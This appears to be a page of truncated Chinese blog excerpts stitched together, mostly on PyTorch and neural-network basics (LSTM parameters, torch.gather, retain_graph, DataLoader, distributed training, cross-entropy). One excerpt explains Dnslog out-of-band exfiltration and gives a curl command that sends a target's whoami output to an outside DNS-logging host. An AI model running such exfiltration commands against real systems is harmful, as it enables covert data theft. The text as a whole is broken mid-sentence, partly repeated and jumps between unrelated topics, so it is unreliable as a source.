文 |AI_study 我们的神经网络 在本系列的最后几篇文章中，我们已经开始构建CNN，我们做了一些工作来理解我们在网络构造函数中定义的层。...我们将可学习的参数是网络内部的权重，它们存在于每一层中。 获取网络的实例 在PyTorch中，我们可以直接检查权重。让我们获取我们的网络类的一个实例并查看它。...我们的网络类将从PyTorch Module基类继承此功能。观察如果我们停止扩展神经网络模块类会发生什么。...所有这些实际上都是在幕后进行的PyTorch技术细节，我们将看到其中的一部分。 现在就我们的理解而言，重要的部分是张量权重形状的解释。在这里，我们将开始使用在本系列早期学习的关于张量的知识。...一个迫在眉睫的问题是，我们如何才能一次访问所有参数？有一个简单的方法。让我告诉你。 访问网络参数 第一个示例是最常见的方法，我们将在训练过程中更新权重时使用它来遍历权重。
举个栗子 在介绍LSTM各种参数含义之前我们还是需要先用一个例子(参考LSTM神经网络输入输出究竟是怎样的？...非常清楚，这是很多初学者不能理解RecurrentNNs的根本原因，即在于Recurrent NNs是在time_step上的拓展的这一特性。...流程如下： step1, raw text (语料库如下): 接触LSTM模型不久，简单看了一些相关的论文，还没有动手实现过。然而至今仍然想不通LSTM神经网络究竟是怎么工作的。...简单理解就是每次传入RNN的句子长度为 l ，换句话就是RNN横向长度为 l step7, get output: 看图，每个time_step都是可以输出当前时序 t 的隐状态 h_i^t ；但整体...比如，传给cross_entropy&softmax进行分类……或者获取每个time_step对应的隐状态 h_i^t ，做seq2seq 网络……或者搞创新…… 2、Pytorch源代码参数理解 2.1
You can now save checkpoints in your PyTorch experiments.Resuming a PyTorch checkpointTo resume a PyTorch.../pytorch-mnist/1:input \'python pytorch_mnist_cnn.py'The --env flag specifies the environment that this...project should run on (PyTorch 0.2.0 on Python 3)The --data flag specifies that the pytorch-mnist dataset...project should run on (PyTorch 0.2.0 on Python 3)The first --data flag specifies that the pytorch-mnist...that this project should run on (PyTorch 0.2.0 on Python 3)The --data flag specifies that the pytorch-mnist
这些模型的复杂性使人类几乎不可能理解其决策背后的根本原因。 ❝深度学习系统缺乏可解释性阻碍了人类的信任。...这些模型不仅提高了模型的透明度，而且通过在训练过程中结合高级人类可解释的概念（如“颜色”或“形状”），培养了对系统决策的新信任感。...❞ 在这篇博文[1]中，我们将深入研究这些技术，并为您提供使用简单的 PyTorch 接口实现最先进的基于概念的模型的工具。...通过这个例子，您将更好地理解概念瓶颈如何在实践中应用，并见证它们在解决具体问题方面的有效性。...往期推荐 如何在 Linux 中列出 Systemd 下所有正在运行的服务 GPT 模型的工作原理 你知道吗？ Backbone 在神经网络中意味着什么？
好久没更新博客了，最近一直在忙，既有生活上的也有工作上的。道阻且长啊。 今天来水一文，说一说最近工作上遇到的一个函数：torch.gather() 。...这就要看其参数了。...但是由于 input 可能含有多个维度，是 N 维数组，所以我们需要知道在哪个维度上进行 gather，这就是 dim 的作用。 对于 dim 参数，一种更为具体的理解方式是替换法。...Pytorch 的官方文档的写法其实也是这个意思，但是看这么多个方括号可能会有点懵： out[i][j][k] = input[index[i][j][k]][j][k] # if dim == 0...直观理解 为便于理解，我们以一个具体例子来说明。我们使用反推法，根据 input 和输出推参数。这应该也是我们平常自己写代码的时候遇到比较多的情况。
今天继续来聊聊PyTorch 之神经网络 (≧▽≦*)o 冲就完事了~ 在 PyTorch 界里，构建神经网络的神器就是 torch.nn 包。...训练一个神经网络，大致的流程是这样的： 先得定义一个神经网络，并且里面要有一些可以训练的参数。 然后，不断地迭代输入，让网络去学习。 网络处理完输入后，计算一下损失（就是输出和目标差多远）。...随便来个 32x32 的输入图片，我们的网络就能得到一个输出。 前文也说过，PyTorch中的 Tensor 就是一个多维数组，可以记录梯度。 在梯度反向传播之前，记得把梯度清零。...在测试集上，可以看到网络的准确率； 由于这里只运行了一个 epoch，准确率可能不够高，但足以展示神经网络基本训练过程。在实际应用中，我们会运行更多的 epoch 并调整不同的参数来达到更好的性能。...神经网络学习就已简单实现，就像喝水一样
过拟合是指模型在训练数据上表现得太好，以至于它不能很好地推广到未见过的数据上。正则化通过引入一个惩罚项来限制模型的复杂度，使得模型在尽可能减小训练误差的同时，也要尽量保持模型的简单。...在损失函数中引入这些正则项，模型在训练时不仅要最小化原始的损失函数（如均方误差、交叉熵等），还要尽量使得模型的复杂度（即参数的大小）保持较小。...所以，选择合适的正则化参数是一个重要的任务，通常需要通过交叉验证或其他方式进行。 为什么参数小模型会简单 在机器学习中，模型的参数决定了模型的复杂性和拟合能力。...总结来说，正则化是通过在损失中引入描述模型复杂度的正则项，把经验风险最小化转化为结构风险最小化，从而防止模型过拟合。...神经网络通过低纬度空间实现了对高纬复杂流行空间结构的一种编程能力 熵的简单理解：不确定性的度量 对数的应用： 应用一：二进制编码 一位二进制数，可以表示2个数字，0或1。
前言 在pytorch神经网络迁移的官方教程中有这样一个损失层函数（具体看这里提供0.3.0版中文链接：https://oldpan.me/archives/pytorch-neural-transfer...这个函数在整个神经网络在反向循环的时候会执行loss的backward从而实现对loss的更新。...大意是如果设置为False，计算图中的中间变量在计算完后就会被释放。但是在平时的使用中这个参数默认都为False从而提高效率，和creat_graph的值一样。...正文 其实retain_graph这个参数在平常中我们是用不到的，但是在特殊的情况下我们会用到它： 假设一个我们有一个输入x，y = x **2, z = y*4，然后我们有两个输出，一个output_......: output2.backward() 有两个输出的时候就需要用到这个参数，这就和之前提到的风格迁移中Content Loss层为什么使用这个参数有了联系，因为在风格迁移中不只有Content
服务器中哪一个是主服务器。...MX 记录（ Mail Exchanger ） 全称是邮件交换记录，在使用邮件服务器的时候，MX记录是无可或缺的，比如A用户向B用户发送一封邮件，那么他需要向ＤＮＳ查询Ｂ的MX记录，DNS在定位到了B的...如果缓存中没有的话，ISPDNS会从配置文件里面读取13个根域名服务器的地址（这些地址是不变的，直接在BIND的配置文件中）。 5. 然后像其中一台发起请求。 6....简单的理解就是在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候可以通过这种方式把想获得的数据外带出来。 Dnslog基本原理 ?...先用自己的vps简单的演示一下： 比如：curl http://ip.port.b182oj.ceye.io/whoami 这个时候需要根据实际情况对payload进行替换，ip 、port、 Identifier
生物学联系 在生物学中，神经细胞利用电-化学过程交换信号。输入信号来自另一些神经细胞，这些神经细胞的轴突末梢（也就是终端）和本神经细胞的树突相遇形成突触，信号就从树突上的突触进入本细胞。...如果一个神经细胞在一段时间内受到高频率的刺激，则它和输入信号的神经细胞之间的连接强度就会按某种过程改变，使得该神经细胞下一次受到激励时更容易兴奋。 执行过程 ? ...bias、sigmod……… 简单应用——手写识别 神经网络常常用来作模式识别，这是因为它们善于把一种输入状态（它所企图识别的模式）映射到一种输出状态（它曾被训练用来识别的模式）。 ...一旦神经网络体系创建成功后，它必须接受训练来认出数字“4”。为此可用这样一种方法来完成：先把神经网的所有权重初始化为任意值。然后给它一系列的输入，在本例中，就是代表面板不同配置的输入。...我们还可以进一步增加输出，使网络能识别字母表中的全部字符。这本质上就是手写体识别的工作原理。对每个字符，网络都需要接受许多训练，使它认识此文字的各种不同的版本。
在我们写class类型时，就不可避免的用到self。刚开始学的时候，没有特别理解，就在__init__初始化的时候固定的写上。现在逐渐弄懂一些了。...首先，self只在class中才会出现，定义函数时则不必要。...，首先要说一下__init__初始化函数，每次实例化的时候，都会调用这个函数： class Test: def __init__(self): print("YES！")...我们往往用这个初始化函数赋值，这样可以在整个class中直接调用赋值的变量。...对于self，我个人的理解就是可以更方便的赋一个在这个class里都可以用的“全局变量”值。
交叉熵的作用 通过神经网络解决多分类问题时，最常用的一种方式就是在最后一层设置n个输出节点，无论在浅层神经网络还是在CNN中都是如此，比如，在AlexNet中最后的输出层有1000个节点：...假设最后的节点数为N，那么对于每一个样例，神经网络可以得到一个N维的数组作为输出结果，数组中每一个维度会对应一个类别。...除此之外，交叉熵还有另一种表达形式，还是使用上面的假设条件： 其结果为： 以上的所有说明针对的都是单个样例的情况，而在实际的使用训练过程中，数据往往是组合成为一个batch来使用，所以对用的神经网络的输出应该是一个...在TensorFlow中实现交叉熵 在TensorFlow可以采用这种形式： cross_entropy = -tf.reduce_mean(y_ * tf.log(tf.clip_by_value(y...由于在神经网络中，交叉熵常常与Sorfmax函数组合使用，所以TensorFlow对其进行了封装，即： cross_entropy = tf.nn.sorfmax_cross_entropy_with_logits
卷积神经网络之父YannLeCuu在1988年提出卷积神经网络时，将这种网络命名为LeNet。现在的卷积神经网络都是基于类似LeNet的网络构架。下图是一个简单的卷积神经网络的图例。...（在每个卷积核作用在图像上之后，一般还会用一个ReLU(rectified linear unit)作用在每个像素上，来替换掉结果为负值的情况。） 下面这张动图展示了图像的特征地图的生成过程。...需要注意的是，在卷积神经网络的训练过程中，不仅前向神经网络的权重需要训练，卷积层中的卷积核，也是通过训练得到的。所以初始时，我们只定义卷积层的层数，以及每一层有多少卷积核，不对卷积核本身做定义。...下图是一个卷积神经网络在做物体识别中，对于人脸识别训练出的卷积核的一个图例。 这里介绍了一个基本的卷积神经网络的拓扑结构。在实际应用中，还会有一些细节上的考虑。...除了前面提到的卷积层和池化层的搭配，还有卷积核的大小、卷积核在图像上滑动的步长，卷积层层数等等。这些都要跟实际应用关联起来。
众所周知，深度神经网络擅长查找可解决大型数据集上负责任务的分层表示。人类如何理解这些学习到的表示，这是值得探究的问题。...2.2 场景分类器中神经元的角色 作者在文中提出疑问：在上述的图像分类神经网络中如何使用物体检测神经元? 网络压缩的研究表明，在确保整体神经网络分类准确度的同时，可以通过重新训练消除许多神经元。...为了更好地理解神经元在GAN生成器中的逻辑作用，作者测试了当神经元组被直接移除或激活时生成器的输出结果。 首先，作者从在LSUN教堂场景上训练的渐进GAN中依次移除更大的树神经元集。...为了理解攻击是如何工作的，作者检查了滑雪胜地场景最重要的四个神经元和对卧室场景最重要的四个神经元。在图3-1 B中可视化了这些神经元在原始图像和对抗性图像之间的激活变化。...网络剖析依赖于在训练过程中出现的人类可理解的神经元，在最先进的有监督的和无监督的神经网络模型中都已经发现许多这种可解释的神经元。如何训练更好的解开模型是一个开放的问题，也是众多研究者持续努力的方向。
以一个更加实际的情况为例 ? 如上图中所列参数，x为1（假设batch为1）张图片、3个通道（对应于RGB三个通道）、28*28的大小。...而kernel中的3代表对input的x上的三个通道上均进行卷积运算。而multi-kernels中的16泛指包括了blur、edge等16个功能、3代表对每一个通道上的逐渐进行卷积运算。...这里要求可以从结果逆推出bias和kernel的参数值。 那么这种持续的叠加会输出什么结果呢，如下所示 ? 最初的小汽车经过多个卷积层后依次输出的结果如上，神经网络会从这上面提取到不同的特征结构。...总而言之，通过不断地卷积，可以持续提取到不同的特征。 那么在pytorch中，是如何实现这种代码的编写？...# 这种神经网络结构的编写要用到nn.Conv2d # 该API意为进行2D的函数卷积层计算 import torch import torch.nn as nn layer = nn.Conv2d
经常，在训练这些网络时，深度学习从业人员需要使用多个GPU来有效地训练它们。在本文中，我将向您介绍如何使用PyTorch在GPU集群上设置分布式神经网络训练。 通常，分布式训练会在有一下两种情况。...在GPU之间拆分模型：如果模型太大而无法容纳在单个GPU的内存中，则需要在不同GPU之间拆分模型的各个部分。 跨GPU进行批量拆分数据。...当mini-batch太大而无法容纳在单个GPU的内存中时，您需要将mini-batch拆分到不同的GPU上。 跨GPU的模型拆分 跨GPU拆分模型非常简单，不需要太多代码更改。...积累梯度 使用nn.DataParallel 使用nn.DistributedDataParallel 积累梯度 在GPU之间拆分批次的最简单方法是累积梯度。...在PyTorch中，只需要一行就可以使用nn.DataParallel进行分布式训练。该模型只需要包装在nn.DataParallel中。
前言 我们知道在分布式数据并行多卡训练的时候，BatchNorm 的计算过程（统计均值和方差）在进程之间是独立的，也就是每个进程只能看到本地 GlobalBatchSize / NumGpu 大小的数据...对于一般的视觉任务比如分类，分布式训练的时候，单卡的 batch size 也足够大了，所以不需要在计算过程中同步 batchnorm 的统计量，因为同步也会让训练效率下降。...每个thread block 负责处理的数据大小和其中每个线程负责处理的位置，如下图所示： 如上图所示紫色方块表示thread block中的一个thread，紫色箭头指向表示，在kernel执行过程中...内的32个线程，上方的id 表示每个线程在warp内的id。...__shfl_xor_sync 简单来理解，只需要关注第 2 和 3 个参数，第二个参数是线程之间要交换的值，第三个参数传 i。
朋友，你还在为构建Pytorch中的数据管道而烦扰吗？你是否有遇到过一些复杂的数据集需要设计自定义collate_fn却不知如何下手的情况？...本篇文章就是你需要的，30分钟带你达到对Pytorch中的Dataset和DataLoader的源码级理解，并提供构建数据管道的3种常用方式的范例，扫除你构建数据管道的一切障碍。...第2个步骤从0到n-1的范围中抽样出m个数的方法是由 DataLoader的 sampler和 batch_sampler参数指定的。...sampler参数指定单个元素抽样方法，一般无需用户设置，程序默认在DataLoader的参数shuffle=True时采用随机抽样，shuffle=False时采用顺序抽样。...batch_sampler参数将多个抽样的元素整理成一个列表，一般无需用户设置，默认方法在DataLoader的参数drop_last=True时会丢弃数据集最后一个长度不能被batch大小整除的批次，
在进行pytorch训练后，需要进行测试部分的编写。 首先看一个train和test的波动实例 ? 首先上图可视化结果来看，蓝线是train的正确率，随着运行次数的增加随之升高。...这是里面的over fitting在作怪，随着train的进行，里面的sample被其所记忆，导致构建的网络很肤浅，无法适应一些复杂的环境。 若想缓解这种情况，在train的同时做test。...由黄线test结果可看到，其总体趋势与train相一致，但呈现出的波动较大。但可明显注意到在上图的后半期test的正确率不再变化，且下图中的loss也很大。...pred = F.softmax(logits, dim=1) # 这里在10维度的输出值上进行softmax, pred_label = pred.argmax(dim=1) print(pred_label...当具体到神经网络中时，变为 test_loss = 0 correct = 0 # 先设定两个初始值均为0 for data, target in test_loader: data = data.view
多个loss的协调只是其中一种情况，还有一种情况是：我们在进行模型迁移的过程中，经常采用某些已经预训练好了的特征提取网络，比如VGG, ResNet之类的，在适用到具体的业务数据集时候，特别是小数据集的时候...一般来说，截断梯度流可以有几种思路：1、停止计算某个模块的梯度，在优化过程中这个模块还是会被考虑更新，然而因为梯度已经被截断了，因此不能被更新。...属性2、在优化器中设置不更新某个模块的参数，这个模块的参数在优化过程中就不会得到更新，然而这个模块的梯度在反向传播时仍然可能被计算。...停止计算某个模块的梯度在本大类方法中，主要涉及到了tensor.detach()和requires_grad的设置，这两种都无非是对某些模块，某些节点变量设置了是否需要梯度的选项。...这只是个计算图的简单例子，在实际模块中，我们同样可以这样用，举个GAN的例子，代码如： def backward_D(self): # Fake # stop backprop
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